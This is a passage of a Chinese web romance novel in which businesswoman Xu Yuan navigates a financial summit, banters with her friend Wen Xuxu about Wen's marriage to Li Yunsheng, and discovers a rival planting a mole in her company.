奥瑞尔不是德国人,也不是多好学的人,就是个头脑简单四肢发达野兽一般的人物,哪里听得懂许愿说了什么,只有他身旁跟随的翻译额头冒冷汗。 奥瑞尔瞪向翻译,翻译尴尬的笑了笑回应:“许小姐说她的挚爱是盛先生。” 至于许愿到底说了什么,翻译压根没敢说。 奥瑞尔嗤笑一声,嘴里嘟囔了句蠢货。 “看来你是很喜欢柏拉图式的感情了。” 她当然知道奥瑞尔说什么,他在侮辱盛景炎。 许愿随意摆弄着盛华公司高台上的实验品,长指轻点桌面,眼尾微微上挑,唇角的笑意扬起然后逐渐加深。 “奥瑞尔先生所在的家族是奥坦斯丁家族吗,族徽是蔷薇花,家族代表的公司代表的是F国有名的医疗机构和医药公司。” 许愿开口的话并非是说给奥瑞尔听的,她分明是说给自己听的。 她眼神微暗,缓缓开口。 “挺好的。” 她脸上的笑意分外明显,笑容灿烂,黑白分明的眼瞳里像是明晃晃的藏着一颗又一颗的小星星,看着无害且带着几分天真。 只有薛酒和陆斯年能看出来这副姿态的许愿才是摆出了狩猎姿态。 奥坦斯丁家族所代表的医药机构其实内部早就像是开败的花朵从内部腐朽,奥坦斯丁家族为什么会多次参加各类招商会金融峰会,为的是寻找新的生机。 内部真正的高层知晓内幕,而被其家族看作未来继承人的奥瑞尔却还认为自己所在的家族当真一直独大。 现在他们能守着这爵位在国内如此嚣张无非是奥坦斯丁家族每一年上缴了巨额税收,是国内一大经济来源。 一旦家族赖以生存的医疗机构落败,这爵位就没有任何价值。 巧的是,许愿早就盯上了奥坦斯丁家族同样涉及的方向,且已经在研究中。 不久后就会在国内率先推行,然后通过F国的商界资本一点点推行进入F国。 许愿的人脉圈太广,奥瑞尔认识F国贵族,那许愿难道就不认识吗?她不仅认识,还与F国真正手握大权的名流有过交易,说是忘年交也不为过。 许愿笑意温柔的看着奥瑞尔,看他如今“朝气蓬勃”,就已经想到日后这人要如何懊恼悔恨。 许愿用德语说了一段话,奥瑞尔听不懂,但翻译是能听懂的。 她说的话翻译成中文是【当癌病被治愈的那天,将是我们人类又一次进化成功的证明。】 翻译整个人僵在原地。 奥瑞尔还像个蠢货一样瞪着眼睛询问翻译许愿说了什么,翻译尴尬的笑了笑,语气真诚的回应奥瑞尔:“先生,许小姐说她期待未来会跟我们的企业有合作。” 奥瑞尔再度像只被戏耍的猴子一样连着哼笑几声,却不知周围清楚许愿这段话是什么意思的翻译看着他就像是在看小丑。 奥坦斯丁家族能靠着什么药业在这一行业垄断药业这么多年赚得盆满钵满? 他们研究的是与癌症相关的器械医药,其实研究出来的那些东西并不能真的治愈癌症,但谁会放弃挣钱的机会?他们都清楚这些东西治不了病,但为了宣传时说的能暂缓病人的痛苦,便为了那大笔昂贵的医药费治疗费。 癌症有治愈的可能吗,有的,如果是前期是可以治疗,但若是中后期百分之九十的只能等死。 可偏偏就是后期可以大笔敛财,奥坦斯丁家族就靠着这些闻名海外。 如果许愿站出来说自己能研究出完全治愈癌病的药物,那等待奥坦斯丁家族的就只剩死期。 此前许愿的确在业内发表过一段跟医药相关的研究,许愿提到过与此有关的数据报告分析,那份报告是三年前的,且用的是盛华幕后投资人的身份发布的,当时在业内掀起波澜,但也只是震惊了一段时间,后续盛华并未提出这类的提案,很快被其他项目掩盖。 现在许愿所在的盛世都跟盛华合作成为同盟了,且提出这话的是许愿,许愿又跟段星河合作,段星河发出的那些报告中也有与治疗癌病相关的,那代表什么? 代表许愿真的有能力将奥坦斯丁家族拉下神坛。 翻译是个聪明人,没有直接告诉奥瑞尔实情,她清楚奥瑞尔的性子有多暴,她是真的担心按照许愿说的翻译奥瑞尔会挑衅的更厉害,那样只会加速奥坦斯丁家族的灭亡。 翻译还需要留出时间跳槽找份新工作,奥坦斯丁家族是绝对留不得了。 许愿垂眸,眼底都带着柔和的笑意。 奥瑞尔还当自己身上散发的荷尔蒙迷惑了许愿,还像个雄孔雀一般在原地洋洋得意,许愿抬眸扫向他,继而转移视线与身旁的外国友人笑着谈合作。 奥瑞尔还在寻找存在感。 “你现在这样用你们国内古话,你这是欲擒故纵?” 不等许愿开口,刑从景已经阻拦在前让他与许愿之间隔开距离,奥瑞尔意味不明的哼笑一声,一派悠然。 “好吧好吧,我就知道是我太优秀,你们这群人担心许愿为了我背叛你们的国家,我都能理解的。” 他倒是挺没有自知之明的。 奥瑞尔离开前还冲许愿抛了个媚眼,完全不知道周围人对他的厌恶开口道:“许小姐,今晚我会在华庭1号房间等你,这可是花了重金订的房间,期待你的到来。” 奥瑞尔离开了。 一大早就被许愿得罪过的段星河此刻脸上满满的都是笑意,他倚靠在墙边乐不可支笑的眼睛都弯起来,显然是因为许愿被奥瑞尔那么个大猩猩骚扰觉得好笑。 “很好笑?” 许愿抬眸目光落在他身上。 “好笑啊,怎么不好笑,半小时前许总还在盛世大显神威,现在许总……还真是一物降一物啊。” 第261章 温栩栩 “段老师。”许愿长指仍然点在桌面上,指尖触及到一份最新的资料只微微扬了下眉开口:“接下来需要段老师继续研究与癌病相关的资料了,除了这类相关还需要研究智能体系有关的……段老师接下来会很忙,段老师现在尽可能抽空多笑笑。” “因为接下来,段老师很长一段时间都不会开心了。” 许愿只是被奥瑞尔恶心到了,段星河却是被许愿这段话恶心到了,且奥瑞尔说的那几句话不会对许愿造成什么影响,可许愿这段话却是直接束缚了段星河。 段星河脸上的笑意都僵了。 “许愿,交给我,我可不确定短时间内能给你什么成果。” 段星河冷笑。 许愿毫不在意:“没关系,在期限内如果段老师没有研制出我要的东西我也会有其他备选,段老师应该知道我的意思,还是说段老师现在已经承认了你的基因就是不如苏家的基因?” 许愿这话旁的人不清楚什么意思,段星河却是清楚的。 许愿这明晃晃的说段星河研究不出来那她就会自己出马。 是的,此前许愿确实给过成果,这些东西她都已经研究的差不多了,就差最后收尾了,如果段星河连这些都做不到,那在许愿这里岂不是真的成了废物。 废物?他段星河?太可笑了! 段星河嗤笑连连。 行,不愧是苏青莲的女儿,怼他一怼一个准。 段星河走近她压低声音,只有彼此能听到的声音。 “许愿,你都这么说了,那不该你跟我一起研究吗?我们一起不是更快?” 许愿抬眸:“你可以带苏逸。” 段星河盯着她,眼底藏着的都是不敢置信。 “你疯了。” 对段星河来讲,许愿真的就是个疯子。 苏逸是苏青莲的儿子,他是足够聪明足够优秀,但他所学的那些知识还不足以让他涉足这些领域,让他参与进来研究什么?说得再清楚点,这就是许愿想要为苏逸镀金。 “我给他半个月的时间,半个月内没有学完我给他规划的东西我会跟你一起进行后期的研究。” 这是许愿给他的答案。 半个月内苏逸不能跟上他们的进度,她也不会在原地继续等苏逸,她会跟段星河合作研究加快进度。 “行,看来是疯了但是还没疯到底,有救。” 段星河盯着她看了几秒呼了口气,眼底却难以控制的掠过一抹不易察觉的悲痛。 当初苏青莲也是这般对他的。 最初的那些属于他的成就其实跟他没有关系,那些是苏青莲教会他做的。 很多知识都是苏青莲手把手教的,说手把手其实并不很恰当,应该说是苏青莲整理了资料带着他做的研究。 就像现在的许愿为了苏逸刻意放慢了进度,只希望在某一领域能够添上他的名字。 原来那种感情,是姐姐对弟弟啊。 是了。 这么多年了,其实他早该清楚苏青莲对他没有爱情。 他是可以被依托的弟弟,亲人。 和段星河沟通后许愿离开盛华和盛世所在的区域在偌大的会场内寻找合作机会,其实以她如今的身份,自然会有人凑上来寻求合作,她无非是觉得无聊想带着苏逸多转转。 路过傅氏所在的区域,看到傅氏摆好的最新提案,许愿微微垂眸。 她看到了傅氏众多高层,看到了容浔甚至看到了许宁,却没有看到沈略。 这种场合,沈略作为傅京礼的秘书竟然不在场,着实令人匪夷所思。 容浔注意到她看过来的眼神,只是扬了扬手中的资料算是与她打过招呼了。 说是打招呼,但在许愿看来可能更倾向于挑衅。 看来昨晚她与沈略沟通后让沈略在傅氏的地位愈发尴尬了。 不过她不后悔做这些,沈略迟早要经历这些,她不过是让这些事提前了些。 等沈略离开傅氏到盛世或者盛华,她会给沈略应得的职位,绝不会让沈略后悔选了自己。 来参加金融峰会的企业过于多了,单是A市盘踞的几大企业就已经让许愿有些看不过来,逛到黎氏所在区域,温栩栩竟然也在。 她百无聊赖的倚靠在软椅上,一手支着下巴有一搭没一搭的轻点着头,看着似乎是有些困倦。 许愿想到她最近参与的选秀综艺猜着是她才从那综艺里面请假出来,也不知是黎云笙要求她请假出来参加综艺的还是温栩栩自己愿意的。 她已经有段时间没见温栩栩了,上一次见面还是在那次晚宴上,有点尴尬。 近期温栩栩参加综艺手机被没收,她本想去探班,但是又怕因为自己的身份让温栩栩被猜忌说她是资本最终探班计划也只能不了了之。 现在看到她许愿脚步不停直接走过去。 温栩栩这次没有化多浓艳的妆,但她本来容貌漂亮,其实跟许愿是同一挂的,只是她的容貌更增添了几分无辜感,特别是抬起头眨着眼睛看人时让人觉得像是一直讨人揉捏抚摸的小猫咪,实在可爱。 她之前似是睡着了,眼睛都没睁起来,黎氏的总裁助理见她过来本想叫醒温栩栩,但许愿轻微摇了摇头对方便没再多此一举。 感受到头顶投射下来的阴影,温栩栩喉间发出“唔”声,声音有那么点甜腻像是撒娇似的。 许愿扬了下眉。 实在是……怎么说呢?有些意外,因为温栩栩在她面前向来都是风风火火直肠子的模样,什么时候软软的撒过娇。 这副模样若不是温栩栩在困倦中下意识做出的举动那就可能是故意做给某个人看的,或者说是将她当成了某个人。 譬如那位黎少。 “我都已经特地为了陪你请假来参加金融峰会了,我就要吃华庭的点心,就要你亲自去买……” 温栩栩哼哼唧唧的,果然是在撒娇。 这话,一听就是对黎云笙说的。 许愿实在忍不住弯了弯唇角。 她本来还在担心黎云笙不喜欢温栩栩会对她不好,现在瞧着倒是她多虑了。 温栩栩哪里像过得不好的样子。 第262章 黎云笙像家养狼犬? “看来黎先生对你还不错。” 许愿声音带着笑意的开口,温栩栩的眼睛立刻亮起来,整个人都精神了。 黎云笙对温栩栩……真的好吗? 如果只给钱也算是好的话,那黎云笙算是对她非常好,好到这世界上没有任何人能与之比较。 他一直都很大方,没有结婚前对温栩栩就很大方,当初许愿在国外拿不到投资温栩栩只是主动找到他陪了一晚黎云笙就砸进去千万投资,盛华在国外遭遇资本夹击时也是温栩栩找了黎云笙,黎云笙暗中疏通关系。 可以说黎云笙对待感情并不算多认真,但他对被自己划进领地的人一直都是如此。 给够他足够的筹码他就能帮你做任何事吗? 不,他或许会索要双倍的筹码。 但那人是温栩栩,他早就将温栩栩看作是自己养在身边的宠物,自己的小宠物提出的要求,做主人的当然会满足。 温栩栩也不是什么小白花,黎云笙对她是否认真,她能感受得出来,所以她对黎云笙其实没有更多的想法。 不过是交易关系。 她不爱黎云笙,她嫁给黎云笙无非是黎云笙的逼迫,若非如此她更愿意自己一个人潇洒自在,而不是被锁在他身边。 可婚都结了,这关系也没办法不认。 这世界上真的能让她在乎的只有许愿,只要许愿不出事,哪怕真的世界灭亡她的眼睛都不会跟着眨一下,就是如此无情。 她是聪明人,既然结婚了她也会选择一个能让自己舒服些的生活方式,所以她会在黎云笙面前示弱。 他喜欢什么样子的她就做出哪种姿态。 总归已经缔结婚姻,不爱也要将黎云笙拿捏在掌心,他的心里可以没有她,但她要让他的身体习惯自己的存在要让他的记忆习惯,要让他清楚能陪在他身边的只能是她温栩栩而不是什么乱七八糟的人。 温栩栩坐正了身体,将面前装着甜点的餐盘往许愿所在的方向推了推。 许愿扬了扬眉。 看来黎云笙对温栩栩是挺宠的,今天是金融峰会,还有时间给她准备甜品。 “不是说要吃华庭准备的小点心?”许愿坐在她身旁,姿态放松。 她们关系近,哪怕知道温栩栩瞒了她很多事却也不会为此产生隔阂。 温栩栩忍不住笑:“他一定要我陪他参加今天的金融峰会,可我又不想看到他一直在我身边转来转去,就找借口把人支走了。” “反正他也不是真的想来参加这次的金融峰会。” 温栩栩开口:“该谈的合作他早就私下谈拢了,今天也没打算跟其他人合作,就差跟那几家企业签合同了,若非是有人开口让黎氏也一起参加金融峰会他其实根本不想来。” 聪明人都知道金融峰会其实是国内向国外资本展示国内资本实力的展会,所以才需要国内这些大企业参展交流。 真正能在金融峰会上谈成合作的人并不会太多,最多也就是拓展人脉圈。 更真实的原因温栩栩没说,其实是昨晚黎云笙折腾的她太过,早上起来就觉得腰酸。 她本来就在选秀节目里面每天训练很累了,好不容易回来一次还要喂饿狼,真是一整晚没怎么休息,好在那人还算有人性给她用冰袋敷了敷眼睛,这才看着没那么肿了。 等清醒过来感觉到自己被男人搂抱在怀里,温栩栩也不知道哪里来的力气就把人推开踹下床了,黎云笙都没来得及哄人说句别闹。 黎云笙站起来面色铁青。 他从小到大,从没有一个人敢这么对他!把他踹下床,简直太离谱了。 可温栩栩是什么人? 感觉到自己做错事的下一秒就捂着腰哼哼唧唧眼底带着隐隐的泪光,好像泪水下一秒就要下来了。 行吧,他的女人,他能怎么样? 他女人好不容易从节目组回来,人都被抱够大早上被踹到地上谁有兴趣去参加这种金融峰会,反正黎云笙没兴趣。 但一早就答应了上面,实在不好拒绝。 他都要到会场被那群人围着寒暄,自然不会放过温栩栩,强逼着温栩栩一起去。 温栩栩大早上的起床气“腾”的就上来了。 黎云笙是不是有病?她好不容易回来一趟被折腾哥够呛现在还要让她跟个吉祥物一样去现场呆呆的坐着?到底谁疯了?但这话能对黎云笙这大男子主义的变态说吗? 绝对不能。 温栩栩憋着气跟着黎云笙来到现场可劲儿的作着使唤人。 稍有不顺就哼唧捂腰。 一会儿要会场内的小点心,下一秒又嫌弃会场的小点心太甜了,上一秒还要热奶茶,下一秒就说不加冰不好喝,折腾来折腾去干脆将人赶出金融峰会去华庭买小点心。 黎云笙都被气笑了。 但他能如何,温栩栩是他的女人,而且确实是在腰酸中,他只能忍了。 给了温栩栩一个警告的眼神离开现场,温栩栩完全不怂。 能浪多久是多久,大不了真被教训了再出点别的法子。 温栩栩此刻眼睛都是弯弯的,没忍住开口:“我觉得……就是……嗯,我觉得他有点像家养狼犬。” 许愿:“?” 哈? 你说谁像家养狼犬? 温栩栩看懂了许愿表情是什么意思立刻回应。 “就黎云笙啊,他真的很像家养狼犬,有点凶但又特别听话,只要驯服了招招手的事。” 许愿:“……” 一时无言以对。 是她不懂了,黎云笙?家养狼犬?她又不是没见过黎云笙。 小情侣之间的把戏? 许愿看温栩栩的眼神都有点不对了,她挑了挑眉,眼底都带着点明显的笑意。 一直候在原地黎云笙的助理林岩忍不住抬手擦了擦额角的冷汗,唇角都跟着抽动了下。 “温小姐,不如您再想点更合适的措辞?” 林岩余光已经在瞟向别处了,若是往常的温栩栩是能察觉到林岩眼神的不对劲,但现在注意力都落在许愿身上,哪有时间关注林岩看哪里。 “黎云笙私下什么样子你又没见过,你能有我清楚?” 第263章 她最在乎的就是许愿 温栩栩语气都带着点洋洋自得。 黎云笙在外什么样? 他一直被人称作狡诈的狐狸,心思深重,手段毒辣,但这人能被A市推崇参与金融峰会自然是有其闪光点。 他在商场翻云覆雨但却建立了不少的慈善基金会,下手狠也只是针对对手,属于合法合规的商业竞争,只是手段过了些,但没有人能挑出错来。 可他在温栩栩面前就是另一副模样。 若是五年前,黎云笙在温栩栩面前还会装装样子,但五年的时间他已经暴露出了自己的生活习性,哪怕是带有锋利爪牙的猛兽也会露出柔软的肚皮,哪怕是偶尔。 黎云笙在外很少醉酒,在外醉酒的历史已经很久远了,几乎没有人见过黎云笙醉酒后的模样。 可温栩栩见过。 他醉酒后会断片,会凭借身体记忆找到她抱住她嗅着她身上的味道肌肤紧贴,然后下巴贴在她肩上,在她耳边用很轻很轻的声音唤着另一个女人的名字,一遍一遍又一遍。 她那时不知道黎云笙是真的醉酒才喊着另一个人的名字还是单纯装醉用这种方式来侮辱她。 这种时候温栩栩总会给出最激烈的回应,她不会做出任何与那个女人相同的姿态,她会让黎云笙看着自己,然后唇角含笑的一次又一次的反驳他说:“我是温栩栩。” 她是温栩栩,不是什么别的女人的替身。 这种时候总是黎云笙最脆弱的时候,她见到过黎云笙失神眼神空洞的模样。 其实温栩栩觉得黎云笙是真的有病,爱着另一个女人不去追求却一定要困住她,无非是黎云笙知道她们之间不可能,所以退而求其次的找了一个他已经习惯的“宠物”。 温栩栩很清楚自己在黎云笙内心的定位,她提到这些时眼底掩住了凉意。 硬要说温栩栩对黎云笙没感情她其实也说不出来,毕竟在一起五年,就算没感情,也会有身体记忆。 但总不会是爱情。 温栩栩唯一能给出的承诺是,如果未来黎云笙出事她不会背叛黎云笙或者站在黎云笙的对立面,这是她做出的最大的让步。 提到黎云笙像狼犬时温栩栩眉眼又跟着弯了弯。 “你都不知道,他早上起床气超大的。”温栩栩小声说:“不过被我踹下床几次后就没有起床气了,生气就会抱着我哼哼,真的很像被驯服的狼犬。” 林岩此刻整颗心都要死了。 救命。 温小姐您要不要转头看一看您身后啊。 您那头“狼犬”就站在您身后啊!死死盯着您呢! 温栩栩哪里能跟林岩共情,她有段时间没见许愿,忍不住跟她吐槽,她还有好多没有说的,见她还要继续揭他黑历史,还是跟他最讨厌的女人说他的黑历史!黎云笙本来俊美的脸上乌云密布,手里的甜品袋子都被他故意捏出了声音。 温栩栩有些敏锐的扭头,就看到黎云笙几乎就站在自己身后距离自己一米不到的距离,一双带着隐忍怒意的黑瞳就这么盯着她。 温栩栩:“……” 许愿转身,眼皮都跟着跳了下。 果然,不好背后说小话,不然都要被抓包的。 黎云笙呵了一声:“我像被你驯服的狼犬?被你踹下床还有起床气抱着你哼哼?” 温栩栩心虚的抬手摸了摸自己的眼睛,但下一秒理直气壮的挺直腰板:“我没觉得我哪句话说错了,你没有起床气吗,你没有抱着我直哼哼撒娇说自己不想起床吗。” “温栩栩,你敢不敢再大声点。”黎云笙握住她的手腕将人带进自己怀里,眯眸此刻危险的盯着她看。 “我再大声点那不是所有人都知道我老公喜欢对我撒娇了。”温栩栩娇娇软软的窝进他怀中,一手扯弄着男人的衣服领带,声音里面明显带着几分蛊惑之意:“我特别喜欢云笙哥哥对我撒娇,就像我喜欢对你撒娇喊你哥哥一样……那不是我们的情趣吗。” 明明是故意吐槽,现在到她嘴里就成了情趣,好像无理取闹的人变成了黎云笙一样。 黎云笙是真被气笑了,此刻盯着她看了几秒,但他一直都知道温栩栩是个小绿茶。 不得不说,他是真吃她这一套,若是在家里这件事就轻拿轻放了,但现在是温栩栩对许愿说了那些,他在意的就是,许愿算什么,凭什么知道他的事? “那许愿呢。”他果然在意这些。 这话才开口,黎云笙就深知自己找错话题了。 许愿?许愿是温栩栩的软肋是温栩栩最在意的人,她甚至觉得如果未来许愿要她背叛他,她可能都头也不回的给他放冷枪。 他此刻甚至庆幸他跟盛景炎关系好永远都是一条船的人,所以不会有跟许愿为敌的一天。 黎云笙知道自己说错了话,可话赶话已经到这时候,也撤回不了,果然看到温栩栩面对他笑吟吟的,可那笑容明明是不带半分柔意。 和方才对他娇滴滴喊老公在他怀中撒娇的女人全然不同。 她也不顾这是金融峰会现场,周围有电台的主持人在会场采访,此刻两条手臂搂住男人的脖子,贴在男人耳边:“老公,你不是知道吗,我最在乎的事许愿啊。” 她最在乎的是许愿啊。 她最在乎的不是她自己,而是许愿,如果她的性别是男性她或许会终生不婚然后抛弃一切去追随许愿,但偏偏她是个女人,她不是觉得女性不好,只是局限性太大。 可也还好,她有一张美丽的面容足够诱惑男性的躯体,她一样可以为许愿做很多事。 “我们能结婚,不也是因为阿愿吗。” 她笑吟吟的道出最残忍的真相。 温栩栩不爱黎云笙,她对自己和黎云笙的关系有最清楚的认知,这注定是一场没有爱的婚姻,但黎云笙就是要困住她。 他想到的办法就是……用许愿来逼婚。 不嫁他,他未来不会给许愿任何助力。完全拿捏了温栩栩。 所以为什么还要在这个时间提起许愿呢? 对她来说,最重要的就是许愿。 第264章 他娶了个祖宗 黎云笙一直都知道许愿对温栩栩的重要性,甚至温栩栩也会一遍又一遍的提醒他。 她在意的只有许愿,连她自己都要向后挪。 他眸光晦暗的看着温栩栩,温栩栩还是那副笑吟吟的模样,她知道黎云笙懂了,所以她又恢复成先前那副娇娇软软的模样抱着他的手臂轻哼:“老公,阿愿是我关系最好的朋友,我们说这些就是好友之间的玩闹啦,你不会在意的对吧。” 黎云笙没有任何回应,可就是这样却更像是默认。 许愿看着这两人的互动总觉得有哪里不对,却又说不出哪里不对。 温栩栩在男人唇边落下很轻的吻:“老公,你不是还要跟人谈合作吗,我就不多留你了。” 开口就下逐客令,还不忘记取走男人手中特意被她支开去华庭买来的点心。 他都不知道自己要去跟谁谈合作,就见自己的妻子已经借花献佛的捧着点心到许愿面前,眼睛发光发亮,像是眼底藏着闪烁的小星星。 “阿愿,你快尝尝,这是华庭今天才推出的新口味点心,樱桃口味的,看着就很好吃!” 黎云笙看着这一幕,眸光幽暗。 真有意思,从未想到有朝一日他的“情敌”会是个女人。 黎云笙啧了一声,拿了根烟要抽,还没点着就见他漂亮的小妻子皱着鼻子瞪他:“阿愿最近不喜欢闻烟味儿,你先别抽烟,你快去谈合作,不谈合作怎么养得起我给我买小岛大别墅红宝石砸资源拍戏啊,快去快去。” 她说出这话完全脸不红气不喘。好像黎云笙生来就是做这个的。 林岩:“……”过分了吧温小姐。 黎云笙:“……” 温小姐不觉得自己过分,甚至还盯着黎云笙手里夹着的那根烟,好像那根烟就是什么十恶不赦的罪人一样。 许愿:“……”倒也不必这么夸张吧,她之前不爱闻烟味儿是因为怀孕,现在……孩子都没了,其实也不需要这么小心谨慎的。 她垂下眼睫,余光却瞥见黎云笙嗤笑一声。 她也怕这对新婚小夫妻因为自己生出矛盾,刚要开口就见黎云笙臭着脸捻灭烟,然后走到温栩栩身边。 “灭了。” 许愿:“……”灭了就灭了啊,倒也不必还特地过来让温栩栩看吧! 这真的是她知道的那个黎云笙吗! 她本来还对温栩栩说的那些保持怀疑态度,但现在她是相信黎云笙真的会对温栩栩撒娇了。 温栩栩这次还是很给黎云笙面子的,她将脸放到黎云笙的手掌心,然后贴着蹭蹭,像是一只求吸求抱的漂亮小猫咪,再抬头时眼睛里都波光粼粼的,但是开口的话就让人的心情不是那么美妙了。 “老公,你该去谈合作给我挣钱买小岛买大别墅了。” 黎云笙:“……” 行,他娶了个祖宗。 他低头盯着温栩栩几眼,这是在金融峰会现场,她旁边还有许愿,他给温栩栩面子,等回去的。 温栩栩明显也读懂了他的眼神,完全不慌。 黎云笙最好哄了,哭一哭装一装演一演这件事就过去了,他就喜欢绿茶,最喜欢的茶都是碧螺春,好糊弄得很。 黎云笙离开了,一直在一旁的林岩只觉眼前一黑,有一种自己顶头老大是纣王的错觉,黎氏的未来真是一眼就看到头了。 “看来你跟黎云笙的感情不错。”许愿伸出手揉了揉温栩栩的耳垂,声音温柔和缓:“这样我就放心了。” 她以前总担心温栩栩性子太倔不会低头,现在看来她是有很多小心思的。 这样很好,这样就不会有人能伤到她。 温栩栩递给她一杯热牛奶,许愿自然的接过就听到温栩栩开口询问:“你不担心吗,我在你面前装了很久,我不是你以为的单纯无害的小女孩。” 她一直都知道自己心思深重,被许愿捡回家时她早就懂了很多社会上的事,可她觉得许愿喜欢她单纯的模样所以才装出那副单纯懵懂的模样陪在她身边。 “这不是很好吗,这样我不必担心你会被人欺负,只有你欺负别人的份儿。”许愿声音中都带着明显的笑意,她似乎是真的觉得有些好笑。 “况且,我都不是什么单纯无害的人物,凭什么还要这样要求你。” 许愿看着面前的温栩栩。 她从前真的演了太多,此刻展露出真颜,她是真的漂亮,比之她要添了几分柔弱感,是那种让人看到就忍不住怜惜的类型。 不说男性,就是她都会喜欢温栩栩这样的女孩子,更遑论黎云笙了。 温栩栩弯了弯眼睛笑出来,她抱住许愿,头在她肩上蹭来蹭去,撒娇似的:“我就知道你不会生气。” …… 黎云笙没走远,黎氏对面的企业就是韩家的企业,几大家族的企业其实距离都不算远。 黎云笙没打算今天谈合作,也没什么地方可去,远远的就看到韩城所在角落的沙发里面在打游戏,他走过去就听到韩城声音里都带着笑意看来是快要整场战斗胜利了。 他有点不爽的夺了韩城的手机。 韩城眼睛都瞪大了,然后听到游戏结束的声音,他所在的队伍失败了。 韩城气死了,夺回手机就看到就差那么几秒钟就赢了。 “黎云笙你是不是有毛病,我打游戏呢你掺和进来干什么,你知不知道就差那几秒。”他啧了一声想砸手机、 黎云笙淡淡的嗯了一声:“我不高兴。” 韩城:“……” 韩城真是一口气没上来。 他转身睁大眼睛望着黎云笙:“你不高兴,所以呢?你不高兴就剥夺我高兴的权利?黎狗你结婚之后是不是越来越蛮横了?你法西斯吗!” 简直变态! 韩城气的心肝疼,他咬牙切齿,结果一抬头就见黎氏那边温栩栩正抱着许愿蹭来蹭去,黎云笙目光就落在两人身上视线都不带移动半分的。 “你总不会是……你老婆不理你去找许愿贴贴所以你不高兴吧……”韩城试探性的开口。 第265章 眼线 黎云笙没说话,扭头盯着许愿看了几秒,俨然是一副心事被说中的模样。 韩城心里一句“卧槽”很想骂出来。 韩家和黎云笙不一样,他们不是只来走过场的,还是有合作要谈的,韩越早准备好了资料合约,在峰会现场敲定合作案,而韩城则是被韩越拖过来撑场子凑热闹的,除去其他忙碌的高层,也就韩城松散摆烂的赖在沙发上打游戏。 方才已经有记者直播采访了一波。 其实也算是个乌龙,因为其他人都在谈合作,只有韩城懒懒散散的看手机,记者远看还以为韩城在研究资料,拖着直播镜头走近了才知道这位爷在打游戏。 记者提及为什么要在峰会现场打游戏,是对自家公司有信心吗。 韩城大言不惭的哼了一声:“开玩笑,我姓韩。” 的确,A市韩家就是有骄傲的资本。 评论区因为韩城的入境弹幕飞速刷起,韩城却不想入境,又装蘑菇的缩到角落继续打游戏。 他哪知道自己就是躲在角落打游戏都能被破防的已婚人士来骚扰啊。 拜托,结婚的是他黎云笙,有老婆的是他黎云笙,他苦大仇深的给谁看的,可怜的不是他吗,简直离谱。 可看温栩栩对许愿那黏糊劲儿,他又觉得自己兄弟现在这么抑郁好像情有可原。 韩城话到嘴边就说不出来了,就盯着黎云笙看了好半晌。 “那什么,你真确定你老婆不喜欢女人吗,我是指许愿那样的,我怎么看她不是很直的样子。”韩城提醒了一句:“我可是听说许愿那样的女人不仅斩男还斩女,清一色的小妹妹在后面喊她老公老婆的,那场面实在有些过于好看。” 说实话现在许愿脑残粉挺多的,甚至还有不少念书的学生。 别的学生追星他们追许愿,家长们都以为自家孩子堕落了,结果发现孩子又是深夜苦读又是拓展知识圈最后还看各种课外书简直脱胎换骨,问了原因才知道,他们女神原来就是这么过来的,他们也想变得跟她一样优秀。 谁啊,影响力这么大? 一看,是盛世现在的女总裁,一搜生平经历。 不是?谁家好人二十出头优秀履历那么一大长串让人目不暇接。 女神是这种类型的那他们当家长的确实是放心了。 所以韩城说这话还真不是空穴来风的。 黎云笙眼皮都跟着跳了跳,他本来就看温栩栩和许愿一起碍眼,现在一看更碍眼了。 “我真不能给盛景炎打通电话让他滚过来?” 盛景炎来了峰会那许愿肯定会时时刻刻跟在他身边推着轮椅寸步不离的,估计也没时间跟温栩栩谈心。 “哥们你要点脸啊,盛景炎都什么样了你还不放过他,真要把人弄来了,你看许愿不盯着你才怪。” 许愿心眼儿可小着呢。 好在许愿和温栩栩没有聊太久,因为等着跟许愿合作的人实在太多,她还没有谈完合作项目。 A市金融峰会要举办三天之久,这三天时间,盛华盛世收到的合约数量不断增加,最终真正得利最多的果然是盛华盛世。 为促进各国经济发展及国际交流的金融峰会圆满落幕最终盛华盛世拿下大量订单合同登上新闻报道闻名海外。 国内明眼人都知道,盛华能拿到订单是因为盛华本身就是大资本,在国外有着独属自己的人脉圈,盛华能拿到订单那是必然的,但盛世凭什么? 盛世在盛景炎接手前其实已经岌岌可危,老牌家族企业岌岌可危,是盛景炎大刀阔斧实行新规,后有许愿带领新人注入新的血液又请段星河加入了盛世才让盛世逐步壮大,在接下来的金融峰会中崭露头角。 深夜,容浔开着电脑看着此次金融峰会的数据变化,一直带着温和笑意的脸上没有半分表情。 他缓缓摘掉自己鼻梁上的眼镜,露出其下侵略性极强的一双犀利黑眸。 许愿带来的变数太大了。 她可以给盛世带来变化,但是……绝不能真的让盛世成长到如今地步。 盛世,凭什么超越傅氏。 容浔靠在椅座上,像是很轻很轻的叹了口气,他抬手捏了捏眉心打通了一个人的电话。 “他刚好毕业要工作了,以他的优秀学历进入盛世不难。” 话落。 容浔长指摩挲着温热的手机,眼底眸色冰冷完全不沾带任何感情。 傅京礼不忍心做的事,他可以做。 …… 盛世托了许愿的关系能与盛华齐头并进排在前列,数次在新闻报道中被提及,盛世的股票都疯涨,盛世的高层们现在对许愿实在是满意的不行,根本听不得有人说许愿半句不是。 知道许愿要为段星河所在的研究部门应招新的工作人员后也纷纷招揽着这小活儿,一个个都是盛世高层却为了在许愿面前露脸打算做这次的面试官。 他们都主动要求了,许愿自然给他们这个面子。 面试开始前,许愿的桌上已经放置了一份资料。 许愿瞥见“陆飞博”三个字,面上仍没有任何表情,待助理递交了一堆应聘资料后,果不其然在这些资料里面看见了陆飞博的名字。 照片里的青年长相清雅,嘴角咧开,露出两颗小虎牙,笑容清澈明亮。这是一个生长在阳光里的男孩,周身萦绕着一股朝气,让人看到就想接近想微笑。 “许总,这份简历有问题吗?”助理在旁询问,目光扫过照片,夸赞道:“这人长得挺帅。” 许愿知道陆飞博的身份,这种时候许愿只要随手把简历扔进垃圾桶就可以粉碎某些人的阴谋,但是她没有这样做。 她清楚,今天能清理一个陆飞博,明天就能来一个李飞博,陈飞博,与其这样,倒不如有个陆飞博向外传递一些错误的讯息。 “A市的毕业生,这算是我的校友。”她勾勾唇角,把简历放进一旁的纸箱子里,箱子上写着“备选人”三个字。 “面试会半小时后开始。”助理立刻点头下去吩咐。 半小时后一名身穿皮衣皮裤,染着一头紫毛儿的高大男子走进盛世总部。 第266章 宋观鱼 顶着一头紫毛的男人被前台拦住。 他出示了应聘通知书,满脸不耐烦。 前台盯着他的脸,耳朵有些红。 